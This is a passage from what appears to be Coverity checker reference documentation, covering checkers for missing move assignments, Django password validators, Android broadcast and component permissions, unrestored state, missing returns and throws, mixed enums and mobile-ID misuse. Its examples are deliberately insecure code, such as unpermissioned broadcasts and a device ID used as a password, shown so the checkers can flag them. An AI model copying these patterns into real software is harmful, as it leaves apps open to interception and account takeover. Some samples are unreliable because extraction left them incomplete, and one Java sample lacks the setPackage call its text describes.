Background: C++11 introduced move semantics, which allows programmers to avoid unnecessary copies when working with temporary objects that are about to evaporate, and whose resources can be safely taken from that temporary object and used by another. Those temporary objects are produced by *rvalue* expressions.

**Enabled by default:** `MISSING_MOVE_ASSIGNMENT` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.216.2. Example

This section provides one or more `MISSING_MOVE_ASSIGNMENT` examples.

In the following sample code, the defect occurs where the structure `S` is declared:

```
struct S { // MISSING_MOVE_ASSIGNMENT defect
 S() {
 p = new int(0);
 }
 S(const S &other) {
 p = new int;
 *p = *other.p;
 }
 ~S() {
 delete p;
 }
};
```

```

 }
 S& operator=(const S &other) {
 *p = *other.p;
 return *this;
 }
 int *p;
};

int main() {
 S s;
 s = S(); // example of copy assignment operator being applied to rvalue
 return 0;
}

```

The following example demonstrates the usage of option `report_no_dtor_free`:

```

struct dtor_no_free {
 // No defect when report_no_dtor_free is false
 // Defect when report_no_dtor_free is true
 dtor_no_free() {}
 dtor_no_free(const dtor_no_free &other): p(other.p) {}
 dtor_no_free& operator=(const dtor_no_free &other) {
 p = other.p;
 return *this;
 }
 ~dtor_no_free() {}
 std::string p;
};

int main() {
 dtor_no_free d;
 d = dtor_no_free();
 return 0;
}

```

### 4.216.3. Options

This section describes one or more `MISSING_MOVE_ASSIGNMENT` options.

You can set specific checker option values by passing them with `--checker-option` to the **coverity-analyze** command. For details, refer to the *Coverity Command Reference*.

- `MISSING_MOVE_ASSIGNMENT:report_no_dtor_free:<boolean>` - When this option is set to true, the checker reports cases of missing move assignments even if there is no destructor that frees fields found in the class. A class is considered to own resources if its destructor frees resources from its fields, where a move is strongly preferred to a copy assignment when the source can be moved. Otherwise, a move could be as efficient as a copy assignment. Defaults to `MISSING_MOVE_ASSIGNMENT:report_no_dtor_free:true`.
- `MISSING_MOVE_ASSIGNMENT:report_pre_cpp11:<boolean>` - When this option is set to true, the checker reports cases of missing move assignments even if the code is not compiled as C++11.

You can set this option to true to explore possible defects in pre-C++11 code bases. Defaults to `MISSING_MOVE_ASSIGNMENT:report_pre_cpp11:false`.

#### 4.216.4. Events

This section describes one or more events produced by the `MISSING_MOVE_ASSIGNMENT` checker.

- `missing_move_assignment` - A class that has no move assignment operator, and its copy assignment operator is found to be applied to *rvalues*.
- `copy_assignment` - An example that shows the class's copy assignment operator is being applied to *rvalues*.

### 4.217. MISSING\_PASSWORD\_VALIDATOR

Security Checker

#### 4.217.1. Overview

**Supported Languages:** Python

Django has authentication middleware that may use a password validation. The `MISSING_PASSWORD_VALIDATOR` checker flags situations where no password validators are set in the Django configuration file through the `AUTH_PASSWORD_VALIDATORS` list. Without password validators users may set low complexity passwords that are easily guessable and quickly brute-forced by attackers.

The `MISSING_PASSWORD_VALIDATOR` checker is disabled by default. It is enabled with the `--webapp-security` option.

#### 4.217.2. Examples

This section provides one or more `MISSING_PASSWORD_VALIDATOR` examples.

In the following example, a `MISSING_PASSWORD_VALIDATOR` defect is displayed for the empty `AUTH_PASSWORD_VALIDATORS` list, as no password validator is added to it.

```
AUTH_PASSWORD_VALIDATORS = [] # defect here
```

### 4.218. MISSING\_PERMISSION\_FOR\_BROADCAST

Security Checker

#### 4.218.1. Overview

**Supported Languages:** Java, Kotlin

`MISSING_PERMISSION_FOR_BROADCAST` reports a defect on code that sends a broadcast without setting a permission. Sending a broadcast without requiring a permission allows a malicious

application to receive that broadcast. `MISSING_PERMISSION_FOR_BROADCAST` also reports a defect on code that registers a `BroadcastReceiver` without setting a permission. Registering a `BroadcastReceiver` without requiring a permission allows a malicious application to send data to that `BroadcastReceiver`.

Broadcasts are `Intent` objects that are broadcast by calling `sendBroadcast`, `sendStickyBroadcast`, `sendOrderedBroadcast`, or other similar methods. The checker reports a defect when no permission, an empty (`""`), or a `null` permission is passed to the `send` method.

`MISSING_PERMISSION_FOR_BROADCAST` will not report a defect if the target of the broadcasted `Intent` object is determined to be in the same Android application as the component sending the broadcast. The target of a broadcasted `Intent` object can be restricted by calling one of the following methods on it: `setPackage`, `setComponent`, `setClass`, or `setClassName`.

One possible way to receive a broadcast is to register a `BroadcastReceiver` by calling the `registerReceiver` method. The checker reports a defect if no permission, an empty (`""`), or a `null` permission is passed to the `registerReceiver` method.

This checker does not report a defect on registering a `BroadcastReceiver` if the `IntentFilter` used to register the `BroadcastReceiver` contains only `Intent` actions that the analysis considers to be protected.

Some examples of `Intent` actions that the analysis considers to be protected:

- `android.intent.action.AIRPLANE_MODE`
- `android.intent.action.BATTERY_CHANGED`
- `android.intent.action.BATTERY_LOW`

To specify additional protected `Intent` actions, see the `android_protected_intent_actions` directive.

- **For Java:** `MISSING_PERMISSION_FOR_BROADCAST` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Android security checker enablement:** To enable `MISSING_PERMISSION_FOR_BROADCAST` along with other Java Android security checkers, use the `--android-security` option with the `cov-analyze` command.

- **For Kotlin:** `MISSING_PERMISSION_FOR_BROADCAST` is enabled by default.

## 4.218.2. Defect Anatomy

A `MISSING_PERMISSION_FOR_BROADCAST` defect shows the sending or receiving of a broadcast without requiring a permission.

For sending a broadcast without requiring a permission, the defect shows a call to `sendBroadcast`, `sendStickyBroadcast`, `sendOrderedBroadcast`, or other similar methods where the `permission` argument is missing, empty, or determined to be `null`.

For receiving a broadcast without requiring a permission, the defect shows a call to `registerReceiver` where the `permission` argument is missing, empty, or determined to be `null`.

### 4.218.3. Examples

This section provides one or more `MISSING_PERMISSION_FOR_BROADCAST` examples.

#### 4.218.3.1. Java

In the following example:

- **(Vulnerable)** The `sendIntent Intent` object is not restricted to the current application, and it is broadcast without requiring a permission. A malicious application could intercept this broadcast.
- **(Vulnerable)** The `viewIntent Intent` object is not restricted to the current application, and it is broadcast with a `null` permission. A `null` permission means that receiving the broadcast does not require a permission. A malicious application could intercept this broadcast.
- **(Non-vulnerable)** The `refreshIntent Intent` object is restricted to the current application by calling `setPackage`. A malicious application cannot intercept the broadcast.
- **(Non-vulnerable)** The `updateIntent Intent` object is not restricted to the current application, but it is broadcast with a non-`null` permission. Only an application that has that permission can receive this broadcast.

```
Intent sendIntent = new Intent("com.example.SEND");
sendBroadcast(sendIntent);

Intent viewIntent = new Intent();
viewIntent.setAction("com.example.VIEW");
sendBroadcast(viewIntent, null);

Intent refreshIntent = new Intent("com.example.REFRESH");
sendBroadcast(refreshIntent);

Intent updateIntent = new Intent("com.example.UPDATE");
sendBroadcast(updateIntent, "com.example.permission");
```

In the following example:

- **(Vulnerable)** The `sendReceiver BroadcastReceiver` is registered without specifying a permission. A malicious application could broadcast `Intent` objects to this `BroadcastReceiver`.
- **(Vulnerable)** The `viewReceiver BroadcastReceiver` is registered with a `null` permission. A `null` permission means that sending `Intent` objects to this `BroadcastReceiver` does not require a permission. A malicious application could broadcast `Intent` objects to this `BroadcastReceiver`.

- **(Non-vulnerable)** The `refreshReceiver` `BroadcastReceiver` is registered with a permission. `Intent` objects sent to this `BroadcastReceiver` can only come from applications that have that permission.
- **(Non-vulnerable)** The `airplaneReceiver` `BroadcastReceiver` is registered without specifying a permission. `Intent.ACTION_AIRPLANE_MODE_CHANGED` is a protected `Intent` action and the `IntentFilter` does not contain other actions. `Intent` objects sent to this `BroadcastReceiver` can only come from trusted sources.

```
BroadcastReceiver sendReceiver = new BroadcastReceiver() {
 @Override
 public void onReceive(final Context context, final Intent intent) {
 // ...
 }
};

registerReceiver(sendReceiver, new IntentFilter("com.example.SEND"));

BroadcastReceiver viewReceiver = new BroadcastReceiver() {
 @Override
 public void onReceive(final Context context, final Intent intent) {
 // ...
 }
};

IntentFilter viewFilter = new IntentFilter();
viewFilter.addAction("com.example.VIEW");
registerReceiver(viewReceiver, viewFilter, null, null);

BroadcastReceiver refreshReceiver = new BroadcastReceiver() {
 @Override
 public void onReceive(final Context context, final Intent intent) {
 // ...
 }
};

registerReceiver(refreshReceiver, new IntentFilter("com.example.REFRESH"),
 "com.example.permission", null);

BroadcastReceiver airplaneReceiver = new BroadcastReceiver() {
 @Override
 public void onReceive(final Context context, final Intent intent) {
 // ...
 }
};

registerReceiver(airplaneReceiver, new
 IntentFilter(Intent.ACTION_AIRPLANE_MODE_CHANGED));
```

#### 4.218.3.2. Kotlin

In the following example,

- **(Vulnerable)** The `sendIntent Intent` object is not restricted to the current application, and it is broadcast without requiring a permission. A malicious application could intercept this broadcast.
- **(Vulnerable)** The `viewIntent Intent` object is not restricted to the current application, and it is broadcast with a `null` permission. A `null` permission means that receiving the broadcast does not require a permission. A malicious application could intercept this broadcast.
- **(Non-vulnerable)** The `refreshIntent Intent` object is restricted to the current application by calling `setPackage`. A malicious application cannot intercept the broadcast.
- **(Non-vulnerable)** The `updateIntent Intent` object is not restricted to the current application, but it is broadcast with a non-`null` permission. Only an application that has that permission can receive this broadcast.

```
val sendIntent = Intent("com.example.SEND")
sendBroadcast(sendIntent)

val viewIntent = Intent()
viewIntent.action = "com.example.VIEW"
sendBroadcast(viewIntent, null)

val refreshIntent = Intent("com.example.REFRESH")
refreshIntent.setPackage(this.packageName)
sendBroadcast(refreshIntent)

val updateIntent = Intent("com.example.UPDATE")
sendBroadcast(updateIntent, "com.example.permission")
```

In the next example:

- **(Vulnerable)** The `sendReceiver BroadcastReceiver` is registered without specifying a permission. A malicious application could broadcast `Intent` objects to this `BroadcastReceiver`.
- **(Vulnerable)** The `viewReceiver BroadcastReceiver` is registered with a `null` permission. A `null` permission means that sending `Intent` objects to this `BroadcastReceiver` does not require a permission. A malicious application could broadcast `Intent` objects to this `BroadcastReceiver`.
- **(Non-vulnerable)** The `refreshReceiver BroadcastReceiver` is registered with a permission. `Intent` objects sent to this `BroadcastReceiver` can only come from applications that have that permission.
- **(Non-vulnerable)** The `airplaneReceiver BroadcastReceiver` is registered without specifying a permission. `Intent.ACTION_AIRPLANE_MODE_CHANGED` is a protected `Intent` action and the `IntentFilter` does not contain other actions. `Intent` objects sent to this `BroadcastReceiver` can only come from trusted sources.

```
val sendReceiver: BroadcastReceiver = object : BroadcastReceiver() {
 override fun onReceive(context: Context, intent: Intent) { /* ... */ }
}
```

```
registerReceiver(sendReceiver, IntentFilter("com.example.SEND"))

val viewReceiver: BroadcastReceiver = object : BroadcastReceiver() {
 override fun onReceive(context: Context, intent: Intent) { /* ... */ }
}

val viewFilter = IntentFilter()
viewFilter.addAction("com.example.VIEW")
registerReceiver(viewReceiver, viewFilter, null, null)

val refreshReceiver: BroadcastReceiver = object : BroadcastReceiver() {
 override fun onReceive(context: Context, intent: Intent) { /* ... */ }
}

registerReceiver(refreshReceiver, IntentFilter("com.example.REFRESH"),
 "com.example.permission", null)

val airplaneReceiver: BroadcastReceiver = object : BroadcastReceiver() {
 override fun onReceive(context: Context, intent: Intent) { /* ... */ }
}

registerReceiver(airplaneReceiver, IntentFilter(Intent.ACTION_AIRPLANE_MODE_CHANGED))
```

## 4.219. MISSING\_PERMISSION\_ON\_EXPORTED\_COMPONENT

Security Checker

### 4.219.1. Overview

**Supported Languages:** Java, Kotlin

`MISSING_PERMISSION_ON_EXPORTED_COMPONENT` reports a defect in an `AndroidManifest.xml` file on a component that is enabled and exported, but that does not have a permission set. Exporting a component without requiring a permission allows a malicious application to send data to that component.

This checker does not report a defect on an Android application component if the analysis determines that the component can only receive `Intent` objects from trusted sources. In particular, if each `intent-filter` of the component either contains a safe category or contains only protected `Intent` actions, the analysis considers that the component can only receive `Intent` objects from trusted sources.

Examples of categories that the analysis considers to be safe:

- `android.intent.category.HOME`
- `android.intent.category.LAUNCHER`

To specify additional safe categories, see the `android_protected_intent_actions` directive.

Some examples of `Intent` actions that the analysis considers to be protected:

- `android.intent.action.AIRPLANE_MODE`
- `android.intent.action.BATTERY_CHANGED`
- `android.intent.action.BATTERY_LOW`

To specify additional protected `Intent` actions, see the `android_protected_intent_actions` directive.

**For Java**, `MISSING_PERMISSION_ON_EXPORTED_COMPONENT` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

**Android security checker enablement:** To enable `MISSING_PERMISSION_ON_EXPORTED_COMPONENT` along with other Java Android security checkers, use the `--android-security` option with the **cov-analyze** command.

**For Kotlin**, `MISSING_PERMISSION_ON_EXPORTED_COMPONENT` is enabled by default.

### 4.219.2. Defect Anatomy

A `MISSING_PERMISSION_ON_EXPORTED_COMPONENT` defect shows an Android application component that is enabled, exported, and that does not require a permission. The associated events demonstrate that the component is enabled, exported, and does not require a permission.

### 4.219.3. Examples

This section provides one or more `MISSING_PERMISSION_ON_EXPORTED_COMPONENT` examples. The following example applies to Java and Kotlin.

```
<application>
 <receiver android:name="com.example.SampleReceiver" >
 <intent-filter>
 <action android:name="com.example.SEND" />
 </intent-filter>
 </receiver>

 <provider
 android:name="com.example.SampleProvider"
 android:exported="true" >
 </provider>

 <!-- ... -->
</application>
```

Here, the application as a whole is enabled by default and does not specify a permission.

The receiver `com.example.SampleReceiver` is enabled by default. It is also exported by default because it has an `intent-filter`. Because the application does not specify a permission and the

receiver does not specify a permission, sending `Intent` objects to the receiver does not require a permission. A malicious application could send `Intent` objects to the receiver.

The content provider `com.example.SampleProvider` is enabled by default and it is also explicitly exported. Because the application does not specify a permission and the content provider does not specify a permission, a `read` permission, or a `write` permission, reading data from or writing data to the content provider does not require a permission. A malicious application could read data from or write data to the content provider.

#### 4.219.4. Options

This section describes one or more `MISSING_PERMISSION_ON_EXPORTED_COMPONENT` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `MISSING_PERMISSION_ON_EXPORTED_COMPONENT:require_provider_permissions:<specified_value>`  
- Indicates the conditions under which the checker will report a defect on any enabled and exported providers. Valid values are listed below. Defaults to `MISSING_PERMISSION_ON_EXPORTED_COMPONENT:require_provider_permissions:any`

##### Valid values

- `any` : [Default] The checker reports a defect on any enabled and exported provider that does not have *either* a `read` or a `write` permission set.
- `read` : The checker reports a defect on any enabled and exported provider that does not have a `read` permission set.
- `write` : The checker reports a defect on any enabled and exported provider that does not have a `write` permission set.
- `readwrite` : The checker reports a defect on any enabled and exported provider that does not have *both* a `read` and a `write` permission set.

### 4.220. MISSING\_RESTORE

Quality Checker

#### 4.220.1. Overview

**Supported Languages:** C, C++, C#, Java, Objective-C, Objective-C++

The C, C++, C#, Java, Objective-C, Objective-C++ checker finds many instances in which a non-local state of a program is altered for local use but inconsistently restored. Non-local state refers to anything that is not a local variable of a function or method and is not being used to return a value.

**Enabled by default:** `MISSING_RESTORE` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

There are two main patterns for `MISSING_RESTORE` issues:

- Explicit saving, followed by modification and inconsistent restoration; for example:

```
local = non_local; // Save the non-local into a local variable.
non_local = 1; // Modify the non-local for local use.
// Do something dependent on 'non_local', usually involving a function call
if (condition)
 return; // Conditionally do not restore 'non_local'.
non_local = local; // Otherwise, do restore it.
```

- Verification of an assumed preexisting value, followed by modification and inconsistent restoration. This pattern is used when the non-local variable has some default global "sentinel" value, for example:

```
if (non_local == 0) { // verify that the non-local is as expected
 non_local = 1; // modify the non-local for local use
 // do something dependent on 'non_local'
 if (condition)
 return; // conditionally don't restore 'non_local'
 non_local = 0; // otherwise, do restore the original sentinel value
}
```

Failing to restore non-local state can result in a range of later consequences, from none (if the unrestored value is not used later), to surprising and undesirable behavior (if the unrestored value is used by code that expects the previous non-local value), to crashes or exceptions (if the inadvertently unrestored local value goes out of scope or otherwise becomes invalid by the time it is later used).

This `MISSING_RESTORE` checker combines a number of heuristics to distinguish between cases in which seemingly inconsistent restoration of non-local state is intentional and when it is likely to indicate a bug. A common pattern in which conditional restoration is intentional occurs when the modification of a non-local state is provisional and can only be left in place if some later uncertain step succeeds. For C/C++ , such code often looks as follows:

```
// Prepare to try essential step.
int save = p->m; // In case we need to restore it upon failure.
p->m = new_value; // The change we want to keep.
// ...
if (something_that_may_fail(p)) {
 // good, keep change to 'p->m'
 // other stuff
 return true; // success
}
// Failure: clean up
p->m = save;
return false;
```

In such cases, along the "normal" or "success" path, the modified non-local value is retained, but on the "failure" path it is restored. There are many different ways "success" or "failure" can be encoded in the return value, and the checker attempts to identify a number of these. When the checker can establish which return values are associated with "success" (or, more generally, the "primary" result of the function or method) and which are associated with other results, it will only report inconsistencies along either the

primary return value paths or along the other return value paths, but not between primary paths and other paths. That means that it will not report the preceding C++ example, but it will report the following C++ example:

```
// Prepare to try essential step.
int save = p->m; // In case we need to restore it upon failure.
p->m = new_value; // The change we want like to keep
// ...
if (something_that_may_fail(p)) {
 // Good, keep change to 'p->m'.

 // But...
 if (!some_other_necessary_condition)
 return false; // ERROR: Not restoring 'p->m' before returning false.

 // Other stuff.
 return true; // Success
}
// Failure: clean up
p->m = save;
return false;
```

This heuristic does not cover all cases: Functions or methods might not return a value at all; the values they return might not form a pattern that the checker can identify; or the paths that restore and do not restore the non-local value might not be meaningfully correlated with return values at all.

## 4.220.2. Examples

This section provides one or more `MISSING_RESTORE` examples.

### 4.220.2.1. C/C++ Examples

The following example assumes that the `report_uncorrelated_with_return` option is set to true.

```
extern int refresh_mode;

void move(item_t *item)
{
 int save_mode = refresh_mode;
 refresh_mode = 0; /* reduce flicker */
 if (!lock_for_move(item))
 return; /* error: leaving 'refresh_mode' as 0 */
 handle_move(item);
 unlock_for_move(item);
 refresh_mode = save_mode;
}
```

### 4.220.2.2. C# Examples

The following example assumes that the `report_uncorrelated_with_return` option is set to true.

```

static int refreshMode;

void move(Item item)
{
 int saveMode = refreshMode;
 refreshMode = 0; /* reduce flicker */
 if (!lockForMove(item))
 return; /* error: leaving 'refreshMode' as 0 */
 handleMove(item);
 unlockForMove(item);
 refreshMode = saveMode;
}

```

### 4.220.2.3. Java Examples

The following example assumes that the `report_uncorrelated_with_return` option is set to `true`.

```

static int refreshMode;

public void move(Item item) throws LockException {
 int save_mode = refreshMode;
 refreshMode = 0;
 lockForMove(item); // can throw LockException, leaving 'refresh_mode' as 0
 handleMove(item);
 unlockForMove(item);
 refreshMode = save_mode;
}

```

### 4.220.3. Options

This section describes one or more `MISSING_RESTORE` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

These checker options are automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** is set to `medium` (or to `high`).

- `MISSING_RESTORE:report_restore_not_dominated_by_modify:<boolean>` - By default the checker only reports cases where the non-local variable is modified along all paths between the point where it is saved and the point where it is restored. Such a modification is said to dominate the restoration. While it is clear that the assignment of the local variable to the non-local is genuinely a restoration in such cases, there are also cases that genuinely restore even without such domination. Enabling this option causes such cases to be reported, but is also likely to report some instances where either no genuine restore is occurring or it was intentional to only restore under some conditions. Defaults to `MISSING_RESTORE:report_restore_not_dominated_by_modify:false`
- `MISSING_RESTORE:report_uncorrelated_with_return:<boolean>` - When the restoration of non-local state is not correlated with the return value of the function or method, there is a greater chance that the behavior is intentional. When set to `true`, this option expands reporting of software issues to such cases. By default, this option otherwise limits

reporting to cases in which the checker can both recognize a pattern in the different return values from the function or method, and establish a correlation between different return values and whether restoration is likely to be expected for any given return value. Defaults to `MISSING_RESTORE:report_uncorrelated_with_return:false`

Note that the checker treats the case in which a method or function throws an exception as more significant than any differences in return value. So if the method or function restores on some paths and fails to restore due to an exception on another path, the checker will always report the event as a defect, regardless of the value of this option.

#### 4.220.4. Events

This section describes one or more events produced by the `MISSING_RESTORE` checker.

- `save` - A non-local value is saved in a local variable.
- `compare` - A non-local value is compared against an expected "sentinel" value.
- `modify` - A previously saved or compared non-local value is modified.
- `end_of_path` - The end of path was reached with the unrestored, modified value of the non-local variable still in place.
- `restoration_example` - An example along a different path where the value of the non-local is restored.
- `exception` - Indicates when control left the function or method due to an exception thrown within a called function or method.

### 4.221. MISSING\_RETURN

Quality Checker

#### 4.221.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

`MISSING_RETURN` checker finds cases where a non-void function does not return a value, and optionally, when it returns more than one value.

Not returning a value, or returning multiple values, can result in unpredictable program behavior. Unreachable paths are not reported as a defect, even if there is no return value:

```
int fn(int x)
{
 switch (x) {
 case 5: return 4;
 default: return 5;
 }
 // no return; but not a defect, since unreachable
}
```

**Enabled by default:** `MISSING_RETURN` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.221.2. Examples

This section provides one or more `MISSING_RETURN` examples.

```
int fn(int x) {
 if (x == 5)
 return 4;
 else if (x == 3)
 return 2;
} // missing_return
```

The next example uses the `only_one_return` option.

```
int fn(int x) {
 if (x == 5)
 return 4; // extra_return
 else if (x == 3)
 return 2; // extra_return
 return 0; // extra_return
}
```

### 4.221.3. Options

This section describes one or more `MISSING_RETURN` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `MISSING_RETURN:only_one_return:<boolean>` - If this option is set to `true`, the checker reports cases where a function has more than one return statement. Defaults to `MISSING_RETURN:only_one_return:false`
- `MISSING_RETURN:ignore_void:<boolean>` - If this option is set to `true`, the checker ignores `only_one_return` cases for functions that do not return a value. (See the `only_one_return` option for details.) Defaults to `MISSING_RETURN:ignore_void:true`

### 4.221.4. Events

This section describes one or more events produced by the `MISSING_RETURN` checker.

- `missing_return` - The function does not return a value.
- `extra_return` - The function returns multiple values.

## 4.222. MISSING\_THROW

Quality Checker

## 4.222.1. Overview

**Supported Languages:** C#, Java

`MISSING_THROW` finds instances of exception objects that are being created but never thrown. It reports a defect when a statement consists only of the creation of an exception object. Failure to throw an exception when one is intended can lead to incorrect program behavior. In particular, if the exception was intended to prevent subsequent code from executing, a missing throw can cause undesired code execution.

**Enabled by default:** `MISSING_THROW` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

## 4.222.2. Examples

This section provides one or more `MISSING_THROW` examples.

### 4.222.2.1. C# and Java

The developer of the following code intends for the user to be authorized by `VerifyAuthorization(user)`, which throws a `SecurityException`. The developer intends to wrap that exception in its own exception class and throw the new exception, but has neglected to throw it. The dangerous operation will execute regardless of whether the user is authorized.

```
void DoSomething(User user)
{
 try
 {
 VerifyAuthorization(user);
 }
 catch(SecurityException ex)
 {
 new WrapperException(ex); // Defect here
 }
 DoSomethingDangerous();
}
```

## 4.222.3. Events

C#, Java

This section describes one or more events produced by the `MISSING_THROW` checker.

- `exception_created` - [C#, Java] An exception of type `SomeException` is created but neither thrown nor saved.

## 4.223. MIXED\_ENUMS

Quality Checker

### 4.223.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

MIXED\_ENUMS reports cases in which a symbol (such as a variable, field or member, or function) is treated as two different `enum` types in different places. In some cases, the symbol is explicitly declared to be an `enum` type. In others, the checker infers that a symbol that is declared only to have an integer type is effectively an `enum` type.

This type inferencing process identifies places where one of the following is true:

- The symbol is the recipient or source of a value in an assignment statement.
- The symbol is returned by a function.
- The symbol is passed as an argument.
- The symbol is compared against something.
- The symbol is cast.

**Disabled by default:** `MIXED_ENUMS` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

In C, type checking of `enum` types is extremely weak. As a result, it is common to mix `enum` types without casting. Even in C++, compilers do not perform type inferencing for integer type expressions, so developers often do not use casts when intentionally mixing `enum` types. In general, the cleanest way to eliminate intentional MIXED\_ENUMS defects is to explicitly cast when mixing `enum` types, even when the declared type of a symbol is only an integer type.

This checker does not report a defect for uses of many common idioms that involve `enum` types. For example, two different `enum` types are treated as equivalent if the types contain the same enumeration constant values in the same order. The checker does not report a defect in this case, which arises when a library has one `enum` type that is defined in its public API and a different, effectively equivalent `enum` type that is defined internally. Ideally, the code would explicitly cast between the two `enum` types. However, since such casts are usually not required by compilers, they are frequently omitted from the code.

Another idiom builds one `enum` type on another by extending the range of possible values. If one `enum` type contains a set of values that is adjacent to the range of values of another `enum` type, the checker treats the two `enum` types as disjoint, which means that they are non-overlapping sets of values.

In some cases, an `enum` declaration is used as a convenient way to declare symbolic constants, rather than to create a type. This practice is common in C code. In the following example, an `enum` declaration has no tag, so the type that it declares is unnamed (or effectively anonymous):

```
enum /* no tag here */ {
 a_constant,
 another_constant
};
```

Since the enumeration constants that are declared in such enums are often intended to represent untyped integer values, the checker does not report mixing of these anonymous `enum` types with other `enum` types. One potentially undesirable side-effect of this heuristic follows: An `enum` type that has no tag, but is used in a `typedef` or a variable declaration, is considered to be anonymous, even though these untagged `enum` types are often used more like real `enum` types. For example:

```
typedef enum /* no tag here */ {
 one_enumeration_constant,
 another_enumeration_constant
} my_enum_type;
```

```
enum /* no tag here */ {
 foo,
 bar
} some_variable;
```

If you do not use anonymous enums to declare untyped constants, you can enable the `report_anonymous_enums` checker option to avoid missing real defects that involve such types or variables.

#### 4.223.2. Examples

This section provides one or more `MIXED_ENUMS` examples.

In the following example, the expression being switched on has an `enum` type, and the `enum` type case labels are not of that same type:

```
enum e {E1, E2};
enum f {F0, F1, F2, F3};
...
void foo(e ee) {
 switch (ee) {
 case E1:
 ...
 case F2: /* Defect */
 ...
 }
}
```

In the following example, the expression being switch on is not itself an `enum` type, and the case labels that are of `enum` types are not of the same `enum` type:

```
void bar(int x) {
 switch (x) {
 case E1: /* Defect in conjunction with (see the second line that follows) ... */
 ...
 case F2: /* ... this */
 ...
 }
}
```

```
}
}
```

### 4.223.3. Options

This section describes one or more `MIXED_ENUMS` options.

You can set specific checker option values by passing them with `--checker-option` to the **coverity-analyze** command. For details, refer to the *Coverity Command Reference*.

- `MIXED_ENUMS:report_equivalent_enums:<boolean>` - If this option is set to `true`, the checker reports the mixing of different, effectively equivalent `enum` types. Defaults to `MIXED_ENUMS:report_equivalent_enums:false`
- `MIXED_ENUMS:report_disjoint_enums:<boolean>` - If this option is set to `true`, the checker reports the mixing of different, disjoint `enum` types. Defaults to `MIXED_ENUMS:report_disjoint_enums:false`
- `MIXED_ENUMS:report_anonymous_enums:<boolean>` - If this option is set to `true`, the checker reports the mixing of enumeration constants from unnamed (anonymous) `enum` types with other `enum` types. Defaults to `MIXED_ENUMS:report_anonymous_enums:false`

### 4.223.4. Events

This section describes one or more events produced by the `MIXED_ENUMS` checker.

- `switch_on_enum` - An `enum` type expression is the operand of a `switch` statement.
- `first_enum_type` - Use of an integer type expression in a context involving an `enum` type implies that the expression effectively has that `enum` type.
- `mixed_enums` - An expression that was declared or inferred to have an `enum` type is mixed with a different `enum` type that is neither equivalent nor disjoint.
- `mixed_equivalent_enums` - An expression that was declared or inferred to have an `enum` type is mixed with a different, effectively equivalent `enum` type.
- `mixed_disjoint_enums` - An expression that was declared or inferred to have an `enum` type is mixed with a different, disjoint `enum` type.

## 4.224. MOBILE\_ID\_MISUSE

Security Checker

### 4.224.1. Overview

**Supported Languages:** Java, Kotlin

`MOBILE_ID_MISUSE` reports a defect when a mobile device identifier is used in an authentication scheme. You can also set it to report on any code that obtains a mobile device identifier. Mobile device

identifiers are predictable and should not be used as passwords, security tokens, cryptographic keys, or other values that need to be secure. An attacker could predict the mobile device identifier, then use it to authenticate and gain access to data and services.

- **Java enablement**

**Disabled by default:** `MOBILE_ID_MISUSE` is disabled by default.

**Android security checker enablement:** To enable `MOBILE_ID_MISUSE` along with other Java Android security checkers, use the `--android-security` option with the **cov-analyze** command.

- **Kotlin enablement**

`MOBILE_ID_MISUSE` is enabled by default.

### 4.224.2. Defect Anatomy

A `MOBILE_ID_MISUSE` defect shows a dataflow path in which a mobile device identifier is used in an authentication scheme. The path starts at the point where the mobile device identifier was obtained. From there, the events in the defect show how the mobile device identifier flows through the program, for example, from the argument of a function call to the parameter of the called function. Finally, the main event of the defect shows how the mobile device identifier is used in an authentication scheme.

### 4.224.3. Examples

This section provides one or more `MOBILE_ID_MISUSE` examples.

#### 4.224.3.1. Java

The following example obtains a mobile device identifier and uses it as a password for a new account in the call to `addAccountExplicitly`.

```
public class MobileIdMisuse extends Activity {

 public boolean addNewAccount(String accountName) {
 TelephonyManager tm =
 (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
 if (tm == null) {
 return false;
 }
 AccountManager am = AccountManager.get(this);
 if (am == null) {
 return false;
 }
 Account account = new Account(accountName, "SomeAccount");
 String deviceId = tm.getDeviceId();
 am.addAccountExplicitly(account, deviceId, null);
 return true;
 }
}
```

}

### 4.224.3.2. Kotlin

The following example obtains a mobile device identifier and uses it as a password for a new account in the call to `addAccountExplicitly`,

```
import android.app.Activity
import android.content.Context
import android.os.Bundle
import android.telephony.TelephonyManager
import android.accounts.AccountManager
import android.accounts.Account

class MainActivity : Activity() {

 override fun onCreate(savedInstanceState: Bundle?) {
 super.onCreate(savedInstanceState)
 // ...
 }

 fun addNewAccount(accountName: String): Boolean {
 val tm = getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager ?:
return false
 val am = AccountManager.get(this) ?: return false
 val account = Account(accountName, "SomeAccount")
 val deviceId = tm.getDeviceId()
 am.addAccountExplicitly(account, deviceId, null)
 return true
 }
}
```

### 4.224.4. Options

This section describes one or more `MOBILE_ID_MISUSE` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `MOBILE_ID_MISUSE:report_all_mobile_id_uses:<boolean>` - Setting this option to true causes the analysis to report a defect on code that obtains a mobile device identifier. It does not require evidence that the mobile device identifier is used in an authentication scheme. Defaults to `MOBILE_ID_MISUSE:report_all_mobile_id_uses:false`.

### 4.224.5. Models and Annotations

#### Java

To model a method that returns a mobile device identifier, use the following source primitive:

```
com.coverity.primitives.SecurityPrimitives.sensitive_source(SensitiveDataType.SDT_MOBILE_ID)
```

To model a method with a parameter that is updated or implied to contain a mobile device identifier, use the following source primitive:

```
com.coverity.primitives.SecurityPrimitives.sensitive_source(<parameter>,
